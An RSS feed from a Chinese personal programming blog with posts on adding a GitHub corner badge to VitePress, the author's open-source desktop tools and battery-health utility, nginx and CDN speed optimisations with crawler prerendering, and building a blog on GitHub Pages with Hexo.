<?xml version="1.0" encoding="Utf-8"?>
<rss version="2.0">
  <channel>
    <title>七仔的博客</title>
    <link>https://www.baby7blog.com/feed</link>
    <description>主要记录自己在写程序过程中的发现、问题、成果</description>
    <language>zh-cn</language>
    <copyright>This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License.</copyright>
    <lastBuildDate>Sat, 18 Oct 2025 11:26:30 GMT</lastBuildDate>
    <managingEditor>1160084407@qq.com(七仔(Github))</managingEditor>
    <webMaster>1160084407@qq.com(七仔(Github))</webMaster>
    <generator>Power by baby7-blog</generator>
    <image>
      <title>七仔的博客</title>
      <url>https://media.baby7blog.com/1761043720751141084</url>
      <width>32</width>
      <height>32</height>
    </image>
    <item>
      <title>给VitePress的右上角增加Github角标</title>
      <link>https://www.baby7blog.com/myBlog/148.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1760785905747335739" width="800"&gt;&lt;br&gt;&lt;h1&gt;给VitePress的右上角增加Github角标&lt;/h1&gt;
&lt;h2&gt;介绍&lt;/h2&gt;
&lt;p&gt;我没有找到VitePress的Github角标的插件，所以做了后面的嵌入流程，方案是在主题布局中直接引入。如果不知道这两个项目的同学可以看看介绍部分&lt;/p&gt;
&lt;h3&gt;github-corner&lt;/h3&gt;
&lt;p&gt;可以在页面的四角显示Github角标，可以自定义大小、背景颜色。当鼠标移动到这个角标时还能看到Github摇尾巴的动画&lt;/p&gt;
&lt;p&gt;官网地址: &lt;a href="https://tholman.com/github-corners"&gt;https://tholman.com/github-corners&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;项目地址: &lt;a href="https://github.com/tholman/github-corners"&gt;https://github.com/tholman/github-corners&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1760786890890378099" alt="截图_20251018192735.png" /&gt;&lt;/p&gt;
&lt;h3&gt;VitePress&lt;/h3&gt;
&lt;p&gt;VitePress 是一个静态站点生成器 (SSG)，专为构建快速、以内容为中心的站点而设计。简而言之，VitePress 获取用 Markdown 编写的内容，对其应用主题，并生成可以轻松部署到任何地方的静态 HTML 页面。&lt;/p&gt;
&lt;p&gt;官网地址: &lt;a href="https://vitepress.dev/zh"&gt;https://vitepress.dev/zh&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;项目地址：&lt;a href="https://github.com/vuejs/vitepress"&gt;https://github.com/vuejs/vitepress&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1760786395109199474" alt="截图_20251018191407.png" /&gt;&lt;/p&gt;
&lt;h2&gt;具体流程&lt;/h2&gt;
&lt;h3&gt;1. 创建自定义主题组件&lt;/h3&gt;
&lt;p&gt;在 &lt;code&gt;.vitepress/theme&lt;/code&gt; 目录下创建组件：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-bash"&gt;# 创建主题目录结构
mkdir -p .vitepress/theme/components
touch .vitepress/theme/index.js
touch .vitepress/theme/components/GitHubCorner.vue
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. 创建 GitHub Corner 组件&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;.vitepress/theme/components/GitHubCorner.vue&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-vue"&gt;&amp;lt;template&amp;gt;
    &amp;lt;a
        :href=&amp;quot;repoUrl&amp;quot;
        class=&amp;quot;github-corner&amp;quot;
        aria-label=&amp;quot;View source on GitHub&amp;quot;
        target=&amp;quot;_blank&amp;quot;
        rel=&amp;quot;noopener noreferrer&amp;quot;
    &amp;gt;
        &amp;lt;svg
            width=&amp;quot;80&amp;quot;
            height=&amp;quot;80&amp;quot;
            viewBox=&amp;quot;0 0 250 250&amp;quot;
            style=&amp;quot;fill:#151513; color:#fff; position: fixed; top: 0; border: 0; right: 0; z-index: 1000;&amp;quot;
            aria-hidden=&amp;quot;true&amp;quot;
        &amp;gt;
            &amp;lt;path d=&amp;quot;M0,0 L115,115 L130,115 L142,142 L250,250 L250,0 Z&amp;quot;&amp;gt;&amp;lt;/path&amp;gt;
            &amp;lt;path
                d=&amp;quot;M128.3,109.0 C113.8,99.7 119.0,89.6 119.0,89.6 C122.0,82.7 120.5,78.6 120.5,78.6 C119.2,72.0 123.4,76.3 123.4,76.3 C127.3,80.9 125.5,87.3 125.5,87.3 C122.9,97.6 130.6,101.9 134.4,103.2&amp;quot;
                fill=&amp;quot;currentColor&amp;quot;
                style=&amp;quot;transform-origin: 130px 106px;&amp;quot;
                class=&amp;quot;octo-arm&amp;quot;
            &amp;gt;&amp;lt;/path&amp;gt;
            &amp;lt;path
                d=&amp;quot;M115.0,115.0 C114.9,115.1 118.7,116.5 119.8,115.4 L133.7,101.6 C136.9,99.2 139.9,98.4 142.2,98.6 C133.8,88.0 127.5,74.4 143.8,58.0 C148.5,53.4 154.0,51.2 159.7,51.0 C160.3,49.4 163.2,43.6 171.4,40.1 C171.4,40.1 176.1,42.5 178.8,56.2 C183.1,58.6 187.2,61.8 190.9,65.4 C194.5,69.0 197.7,73.2 200.1,77.6 C213.8,80.2 216.3,84.9 216.3,84.9 C212.7,93.1 206.9,96.0 205.4,96.6 C205.1,102.4 203.0,107.8 198.3,112.5 C181.9,128.9 168.3,122.5 157.7,114.1 C157.9,116.9 156.7,120.9 152.7,124.9 L141.0,136.5 C139.8,137.7 141.6,141.9 141.8,141.8 Z&amp;quot;
                fill=&amp;quot;currentColor&amp;quot;
                class=&amp;quot;octo-body&amp;quot;
            &amp;gt;&amp;lt;/path&amp;gt;
        &amp;lt;/svg&amp;gt;
    &amp;lt;/a&amp;gt;
&amp;lt;/template&amp;gt;

&amp;lt;script&amp;gt;
export default {
    name: 'GitHubCorner',
    props: {
        repoUrl: {
            type: String,
            required: true
        }
    }
}
&amp;lt;/script&amp;gt;

&amp;lt;style scoped&amp;gt;
.github-corner:hover .octo-arm {
    animation: octocat-wave 560ms ease-in-out;
}

@keyframes octocat-wave {
    0%,
    100% {
        transform: rotate(0);
    }
    20%,
    60% {
        transform: rotate(-25deg);
    }
    40%,
    80% {
        transform: rotate(10deg);
    }
}

@media (max-width: 500px) {
    .github-corner:hover .octo-arm {
        animation: none;
    }
    .github-corner .octo-arm {
        animation: octocat-wave 560ms ease-in-out;
    }

    /* 在移动端可以调整大小 */
    .github-corner svg {
        width: 60px;
        height: 60px;
    }
}
&amp;lt;/style&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. 修改 &lt;code&gt;.vitepress/theme/index.js&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-js"&gt;// https://vitepress.dev/guide/custom-theme
import { h } from 'vue'
import DefaultTheme from 'vitepress/theme'
import './style.css'
import GitHubCorner from './components/GitHubCorner.vue'

/** @type {import('vitepress').Theme} */
export default {
    extends: DefaultTheme,
    Layout: () =&amp;gt; {
        return h(DefaultTheme.Layout, null, {
            // 在 layout-top 插槽中添加 GitHub Corner
            'layout-top': () =&amp;gt; h(GitHubCorner, {
                repoUrl: 'https://github.com/baby7/agile-tiles'
            })
        })
    },
    enhanceApp({ app, router, siteData }) {
        // 如果需要，也可以在这里注册为全局组件
        // app.component('GitHubCorner', GitHubCorner)
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;效果(右上角)&lt;/h2&gt;
&lt;p&gt;也可以直接点击链接访问查看效果：&lt;a href="https://www.agiletiles.com"&gt;https://www.agiletiles.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;截图：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1760786776980695066" alt="截图_20251018192524.png" /&gt;&lt;/p&gt;</description>
      <category>前端技术</category>
      <pubDate>Sat, 18 Oct 2025 11:26:30 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/148.html</comments>
    </item>
    <item>
      <title>【开源】七仔的桌面工具 v2.6.1</title>
      <link>https://www.baby7blog.com/myBlog/147.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1757384442656183493" width="800"&gt;&lt;br&gt;
&lt;h1&gt;【开源】七仔的桌面工具&lt;/h1&gt;

&lt;h3&gt;前言&lt;/h3&gt;
&lt;p&gt;七仔的桌面工具开源啦，开源地址：&lt;a href="https://github.com/baby7/baby7-desktop-tool"&gt;https://github.com/baby7/baby7-desktop-tool&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;介绍&lt;/h3&gt;
&lt;p&gt;桌面侧边栏工具，包含多种小卡片和工具，点击托盘区图标或快捷键Alt+1进行弹出和隐藏&lt;/p&gt;
&lt;h4&gt;上半部分是小卡片&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;日期卡片&lt;/li&gt;
&lt;li&gt;时间卡片&lt;/li&gt;
&lt;li&gt;天气卡片&lt;/li&gt;
&lt;li&gt;工作日卡片&lt;/li&gt;
&lt;li&gt;喝水记录卡片&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;下半部分是工具&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;各平台热搜&lt;/li&gt;
&lt;li&gt;待办事项（区分待办和完成分类，新增待办事项[标题、内容、程度、闹钟]）&lt;/li&gt;
&lt;li&gt;看的（必应每日一图、摸鱼人日历等）&lt;/li&gt;
&lt;li&gt;读的（历史上的今天、其他心语等）&lt;/li&gt;
&lt;li&gt;秒读&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;说明&lt;/h3&gt;
&lt;p&gt;可以将托盘区小图标拖到任务栏，然后点击小图标可以隐藏和弹出&lt;/p&gt;
&lt;p&gt;使用快捷键Alt+1可以隐藏和展示&lt;/p&gt;
&lt;p&gt;在托盘区右键可以弹出操作菜单&lt;/p&gt;
&lt;p&gt;暂时有部分接口失效，可以先修改源代码自行调整接口或等待我这边修复&lt;/p&gt;
&lt;h3&gt;运行截图&lt;/h3&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/baby7-desktop-tool/baby7-desktop-tool-cut-image.png" alt="https://media.baby7blog.com/baby7-desktop-tool/baby7-desktop-tool-cut-image.png" /&gt;&lt;/p&gt;
&lt;h3&gt;下载(v2.6.1)&lt;/h3&gt;
&lt;h4&gt;蓝奏云&lt;/h4&gt;
&lt;p&gt;链接: &lt;a href="https://agiletiles.lanzoue.com/s/agiletiles"&gt;https://agiletiles.lanzoue.com/s/agiletiles&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;开源地址：&lt;a href="https://github.com/baby7/baby7-desktop-tool"&gt;https://github.com/baby7/baby7-desktop-tool&lt;/a&gt;&lt;/p&gt;</description>
      <category>桌面技术</category>
      <pubDate>Tue, 09 Sep 2025 02:20:36 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/147.html</comments>
    </item>
    <item>
      <title>【开源】灵卡面板 - 打造你的专属摸鱼办公面板</title>
      <link>https://www.baby7blog.com/myBlog/146.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1755530587008297662" width="800"&gt;&lt;br&gt;
&lt;h1&gt;【开源】灵卡面板 - 打造你的专属摸鱼办公面板&lt;/h1&gt;

&lt;h3&gt;软件介绍&lt;/h3&gt;
&lt;p&gt;Windows桌面端软件，摸鱼办公神器&lt;/p&gt;
&lt;p&gt;拥有海量卡片，可以自定义卡片布局，隐藏到侧边需要使用时弹出(可以鼠标或快捷键唤出)&lt;/p&gt;
&lt;p&gt;&lt;img src="https://index.agiletiles.com/website/images/promotion/2025-08-18-23-57-31.gif" alt="https://index.agiletiles.com/website/images/promotion/2025-08-18-23-57-31.gif" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1758980476262209798" alt="https://media.baby7blog.com/1758980476262209798" /&gt;&lt;/p&gt;
&lt;h5&gt;主卡片&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;本地文件快捷搜索（基于everything）&lt;/li&gt;
&lt;li&gt;局域网文件传输&lt;/li&gt;
&lt;li&gt;快捷键截图、屏幕取色&lt;/li&gt;
&lt;li&gt;翻译（同时接入截图识别并翻译）&lt;/li&gt;
&lt;li&gt;AI对话（多种智能体）&lt;/li&gt;
&lt;li&gt;TODO（待办事项）功能&lt;/li&gt;
&lt;li&gt;各大平台实时热搜&lt;/li&gt;
&lt;li&gt;音乐播放器、小说阅读器&lt;/li&gt;
&lt;li&gt;有趣图文（摸鱼人日历、kfc梗图文案、萌宠图片、历史上的今天、随机心语）&lt;/li&gt;
&lt;li&gt;热门网站链接聚合&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;小卡片&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;台风、系统加速球、翻页时钟&lt;/li&gt;
&lt;li&gt;月相、笔记本电池电量&lt;/li&gt;
&lt;li&gt;基金、股票、金价&lt;/li&gt;
&lt;li&gt;Epic Steam 喜加一资讯&lt;/li&gt;
&lt;li&gt;Bilibili粉丝量&lt;/li&gt;
&lt;li&gt;自定义快捷方式（网址、exe文件、文件夹或普通文件）&lt;/li&gt;
&lt;li&gt;LCD时钟、日历、天气预报&lt;/li&gt;
&lt;li&gt;喝水记录、今天吃什么、电子木鱼&lt;/li&gt;
&lt;li&gt;倒数日、圆盘时钟、英语单词&lt;/li&gt;
&lt;li&gt;自定义图片、工作日、电脑监控&lt;/li&gt;
&lt;li&gt;灵感提示词、时间进度条、搜索&lt;/li&gt;
&lt;li&gt;古诗词、答案之书、一言&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;工具箱模块&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;文件批量操作工具、屏幕取色工具&lt;/li&gt;
&lt;li&gt;Json格式化工具、编解码工具、颜色转换器&lt;/li&gt;
&lt;li&gt;时间 时区 时间戳的计算器&lt;/li&gt;
&lt;li&gt;图片批量转表格工具&lt;/li&gt;
&lt;li&gt;视频进度条生成器、笔记本电池健康曲线&lt;/li&gt;
&lt;li&gt;这班值不值得上、记仇生成器&lt;/li&gt;
&lt;li&gt;中国房贷计算器、中国家庭称谓计算器&lt;/li&gt;
&lt;li&gt;BMI计算器&lt;/li&gt;
&lt;/ul&gt;
&lt;/br&gt;
&lt;h4&gt;软件运行界面&lt;/h4&gt;
&lt;p&gt;&lt;img src="https://index.agiletiles.com/website/images/screenshot/screenshot-music-theme.png" alt="https://index.agiletiles.com/website/images/screenshot/screenshot-music-theme.png" /&gt;&lt;/p&gt;
&lt;/br&gt;
&lt;h3&gt;软件官网和下载链接&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;官网：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="https://www.agiletiles.com/"&gt;https://www.agiletiles.com/&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Github:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="https://github.com/baby7/agile-tiles"&gt;https://github.com/baby7/agile-tiles&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;蓝奏云：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;链接: &lt;a href="https://agiletiles.lanzoue.com/s/agiletiles"&gt;https://agiletiles.lanzoue.com/s/agiletiles&lt;/a&gt;&lt;/p&gt;</description>
      <category>桌面技术</category>
      <pubDate>Mon, 18 Aug 2025 15:43:05 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/146.html</comments>
    </item>
    <item>
      <title>七仔的笔记本电池健康工具</title>
      <link>https://www.baby7blog.com/myBlog/145.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1727332214081136206" width="800"&gt;&lt;br&gt;
&lt;h1&gt;七仔的笔记本电池健康工具&lt;/h1&gt;

&lt;p&gt;写这个的原因是发现笔记本后面电池鼓包了。。。&lt;/p&gt;
&lt;p&gt;如果使用满意欢迎点star:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/baby7/baby7-win-battery-health"&gt;https://github.com/baby7/baby7-win-battery-health&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;如果导入有什么问题，欢迎提issue，最好能直接粘贴html文件&lt;/p&gt;
&lt;h2&gt;使用方法&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;打开cmd窗口，输入下方命令:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;powercfg /batteryreport
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1727332245849685679" alt="cmd.png" /&gt;&lt;/p&gt;
&lt;ol start="2"&gt;
&lt;li&gt;打开软件，点击上方的按钮[导入win电池健康html文件]，然后选择刚才生成的html报告即可&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1727332254070785855" alt="example.png" /&gt;&lt;/p&gt;
&lt;p&gt;另：折线图上方的标题处有开始结束的时间和电池健康度&lt;/p&gt;
&lt;h2&gt;下载和运行:&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;可以clone这个项目，然后直接运行main.py&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;GitHub上有编译好的exe文件，直接下载即可：&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a href="https://github.com/baby7/baby7-win-battery-health/releases"&gt;https://github.com/baby7/baby7-win-battery-health/releases&lt;/a&gt;&lt;/p&gt;
&lt;ol start="3"&gt;
&lt;li&gt;百度网盘：
链接: &lt;a href="https://pan.baidu.com/s/1KslcNstR5BihuTawsoW_ag?pwd=2ts4"&gt;https://pan.baidu.com/s/1KslcNstR5BihuTawsoW_ag?pwd=2ts4&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;提取码: 2ts4&lt;/p&gt;
&lt;ol start="4"&gt;
&lt;li&gt;蓝奏云：
链接: &lt;a href="https://wwta.lanzoue.com/i68zp34r5prc"&gt;https://wwta.lanzoue.com/i68zp34r5prc&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;提取码: c8um&lt;/p&gt;
&lt;h2&gt;在其他软件上运行&lt;/h2&gt;
&lt;h3&gt;灵卡面板&lt;/h3&gt;
&lt;p&gt;&lt;img src="https://cdn.baby7blog.com/agiletiles/in_agiletiles.png" alt="在灵卡面板上运行" /&gt;&lt;/p&gt;
&lt;h3&gt;地址：&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://www.agiletiles.com/"&gt;https://www.agiletiles.com/&lt;/a&gt;&lt;/p&gt;</description>
      <category>桌面技术</category>
      <pubDate>Thu, 26 Sep 2024 06:31:04 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/145.html</comments>
    </item>
    <item>
      <title>博客的加载速度和大小的优化、优化再优化</title>
      <link>https://www.baby7blog.com/myBlog/144.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1725004467771127665" width="800"&gt;&lt;br&gt;
&lt;h1&gt;博客的加载速度和大小的优化、优化再优化&lt;/h1&gt;

&lt;h2&gt;0. 前言&lt;/h2&gt;
&lt;p&gt;最近对博客的加载速度和各种文件体积进行了优化，特此记录一下&lt;/p&gt;
&lt;p&gt;可以点击&lt;a href="https://www.baby7blog.com/index.html"&gt;七仔的博客&lt;/a&gt;测试我的博客速度&lt;/p&gt;
&lt;h2&gt;1. 基础&lt;/h2&gt;
&lt;h3&gt;1.1 图片加载优化&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;对于非文章类的大图片先进行一遍压缩，使用各种压缩网站就可以&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;然后对于各种图片最好都转换为为webp格式，相对于传统格式能降低大小大概四成左右&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;1.2 gzip压缩&lt;/h3&gt;
&lt;p&gt;gzip是针对文本类型进行压缩的，例如html、js、css、txt等格式，可以在nginx处打开&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-conf"&gt;http {
    gzip  on;
    gzip_buffers 32 4K;
    gzip_comp_level 6;
    gzip_types text/plain application/javascript text/css;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;br&gt;
&lt;h2&gt;2. 首屏渲染&lt;/h2&gt;
&lt;p&gt;Vue类型的博客的内容是通过实时加载去渲染的，如果蜘蛛只获取了html而没有去加载js的话实际是没有内容的。有几种解决方案。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;将vue渲染成静态文件，每次增加新文章都重新渲染一遍，然后上传到服务器上。优点是加载快，但是调整插件什么的比较麻烦。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;实时判断爬虫然后进行服务器端渲染。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;我这里主要讲一下服务端渲染。首先是nginx判断爬虫:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-conf"&gt;http {
    
    ...

    server {

        ...

        location ... {
            
            if ($http_user_agent ~* &amp;quot;Sogou web spider|BingPreview|baidu|Baiduspider|twitterbot|facebookexternalhit|rogerbot|linkedinbot|embedly|quora link preview|showyoubot|outbrain|pinterest|slackbot|vkShare|W3C_Validator|bingbot|Sosospider|Sogou Pic Spider|Googlebot|360Spider|qihoobot|Googlebot-Mobile|Googlebot-Image|Mediapartners-Google|Adsbot-Google|Feedfetcher-Google|Yahoo! Slurp|Yahoo! Slurp China|YoudaoBot|Sogou spider|Sogou web spider|MSNBot|ia_archiver|Tomato Bot|Sogou web spider|soso|sogou|yahoo|sohu-search|yodao|robozilla|msnbot|MJ12bot|NHN|Twiceler|FeedDemon|JikeSpider|Indy Library|Alexa Toolbar|AskTbFXTV|AhrefsBot|CrawlDaddy|CoolpadWebkit|Java|Feedly|UniversalFeedParser|ApacheBench|Microsoft URL Control|Swiftbot|ZmEu|oBot|jaunty|Python-urllib|lightDeckReports Bot|YYSpider|DigExt|YisouSpider|HttpClient|MJ12bot|heritrix|EasouSpider|LinkpadBot|Googlebot|Ezooms&amp;quot;) {
                proxy_pass  http://xxx.xxx.xxx.xxx:3000?url=https%3A%2F%2Fwww.xxxxxxxx.com${document_uri}$is_args$query_string;
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;逻辑就是通过请求的User-Agent判断是否是爬虫，如果是爬虫就调用一个端口为3000的服务将路径转发给它让它加载完返回加载后（js会渲染完成）的html。&lt;/p&gt;
&lt;p&gt;至于这个端口为3000的服务，我是用了一个docker安装的镜像为zenato/puppeteer-renderer的容器，对外端口为3000，作用就是进行服务端渲染。&lt;/p&gt;
&lt;p&gt;docker运行语句:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-sh"&gt;docker run -d --name puppeteer-renderer -p 3000:3000 zenato/puppeteer-renderer:latest
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;zenato/puppeteer-renderer的开源地址：&lt;a href="https://github.com/zenato/puppeteer-renderer"&gt;https://github.com/zenato/puppeteer-renderer&lt;/a&gt;&lt;/p&gt;
&lt;br&gt;
&lt;h2&gt;3. 接口&lt;/h2&gt;
&lt;p&gt;后端服务其实没什么好说的，就是做缓存就好了，可以用Redis。另外一般返回格式为json，所以最好在nginx处加上json格式的gzip。&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-conf"&gt;http {
    ...
    gzip_types text/plain application/javascript text/css application/json;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;br&gt;
&lt;h2&gt;4. Live2d的优化&lt;/h2&gt;
&lt;p&gt;对于live2d，基础的js和css的优化就不说了，顺便提一下live2d的图片因为要拼接起来，所以很大，记得也要压缩&lt;/p&gt;
&lt;p&gt;这里主要说一下moc格式，moc这个是用来存live2d模型的，我这里会达到三百多k，非常占资源，其实moc是可以进行gzip压缩的，压缩后我这里会降低到一百多k，不到一半，moc进行gzip压缩有我这里有两种方案：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;对nginx进行配置，再增加一个针对moc的gzip压缩&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class="language-conf"&gt;http {
    ...
    gzip_types text/plain application/javascript text/css application/json text/x-moc;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1725334230578909467" alt="蕾姆live2d" /&gt;&lt;/p&gt;
&lt;ol start="2"&gt;
&lt;li&gt;调整xx.model.json文件中的后缀&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class="language-json"&gt;{
	&amp;quot;model&amp;quot;: &amp;quot;xx.moc.txt&amp;quot;,
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后修改xx.moc为xx.moc.txt即可（需要确保nginx有做text/plain的gzip压缩）&lt;/p&gt;
&lt;br&gt;
&lt;h2&gt;5. 七牛云的优化&lt;/h2&gt;
&lt;h3&gt;5.1 七牛云的图片瘦身&lt;/h3&gt;
&lt;p&gt;可以在七牛云的 对象存储 -&amp;gt; 空间管理 -&amp;gt; 你自己的空间 -&amp;gt; 多媒体样式 -&amp;gt; 新建样式 中配置。&lt;/p&gt;
&lt;p&gt;我这里建议是打开图片瘦身+输出格式为webp。需要注意修改以后右侧可以看到示例链接，复制你图片的链接加上多出来的后缀即可访问。我这里访问后基本可以做到瘦身三四成的样子。&lt;/p&gt;
&lt;p&gt;放一下配置截图:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1725004825745192178" alt="image.png" /&gt;&lt;/p&gt;
&lt;h3&gt;5.2 七牛云的gzip压缩&lt;/h3&gt;
&lt;p&gt;截止到我写这篇文章的时候，七牛云会默认开启gzip加速的类型有:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-text"&gt;text/plain
text/css
text/javascript
text/xml
application/x-javascript
application/json
application/xml
application/xml+rss
application/javascript
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;来源: &lt;a href="https://developer.qiniu.com/fusion/1571/seven-niuyun-support-for-text-file-download-optimization"&gt;https://developer.qiniu.com/fusion/1571/seven-niuyun-support-for-text-file-download-optimization&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;不能进行自定义，所以对于上面的live2d的moc文件最好调整为txt格式进行gzip压缩&lt;/p&gt;
&lt;br&gt;
&lt;h2&gt;6. 工具&lt;/h2&gt;
&lt;p&gt;我这里用了谷歌的 PageSpeed Insights 进行分析，分析还是很全的。&lt;/p&gt;
&lt;p&gt;PageSpeed Insights: &lt;a href="https://pagespeed.web.dev/?hl=zh_CN"&gt;https://pagespeed.web.dev/?hl=zh_CN&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;放一下截图:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1725004754371824603" alt="4790eaf60145dd91b3f147df0db582f0.png" /&gt;&lt;/p&gt;
&lt;p&gt;可以点击&lt;a href="https://www.baby7blog.com/index.html"&gt;七仔的博客&lt;/a&gt;测试我的博客速度&lt;/p&gt;</description>
      <category>服务器相关</category>
      <pubDate>Fri, 30 Aug 2024 07:54:29 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/144.html</comments>
    </item>
    <item>
      <title>使用 Github Pages 和 Hexo 搭建博客</title>
      <link>https://www.baby7blog.com/myBlog/143.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1724851042278651615" width="800"&gt;&lt;br&gt;
&lt;h1&gt;使用 Github Pages 和 Hexo 搭建博客&lt;/h1&gt;

&lt;h2&gt;一、前言&lt;/h2&gt;
&lt;p&gt;其实可以通过github.io搭建wiki或者个人博客我挺久之前就知道，不过一直没用，主要是因为已经有一个博客了，没必要再搭一个，不过最近兴起，就搭了个这个附属博客，同步更新主博客的文章。&lt;/p&gt;
&lt;p&gt;附属博客地址：&lt;a href="https://baby7.github.io/"&gt;https://baby7.github.io/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;截图：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1725334048792396069" alt="baby7.github.io首页截图" /&gt;&lt;/p&gt;
&lt;p&gt;下面说一下优缺点，主要对比的是购买服务器搭建个人博客。
&lt;br&gt;&lt;/p&gt;
&lt;h3&gt;优点：&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;不需要买服务器&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;使用Github Pages的服务器，只需要建一个github仓库，然后往里面放html文件就可以了，不需要去买服务器续费服务器。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;不需要买域名&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;可以直接使用Github Pages提供的二级域名，不仅省去了买域名的花费，还省去了域名申请这个冗长的流程。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;不需要担心被攻击&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;有Github撑腰，一点不带怕的，不像我现在这个博客，三天两头被攻击o(╥﹏╥)o&lt;/p&gt;
&lt;h3&gt;缺点：&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;不利于SEO收录&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我尝试在百度的站长平台验证Github给的二级域名都提示不能被收录，不过可以通过再购买一个域名做转发，但这又是一笔花费，而且域名申请挺麻烦的。&lt;/p&gt;
&lt;p&gt;新发现：google和必应可以收录github.io的网站!&lt;/p&gt;
&lt;p&gt;谷歌站长工具: &lt;a href="https://search.google.com/search-console?hl=zh-CN"&gt;https://search.google.com/search-console?hl=zh-CN&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;必应站长工具: &lt;a href="https://www.bing.com/webmasters"&gt;https://www.bing.com/webmasters&lt;/a&gt;&lt;/p&gt;
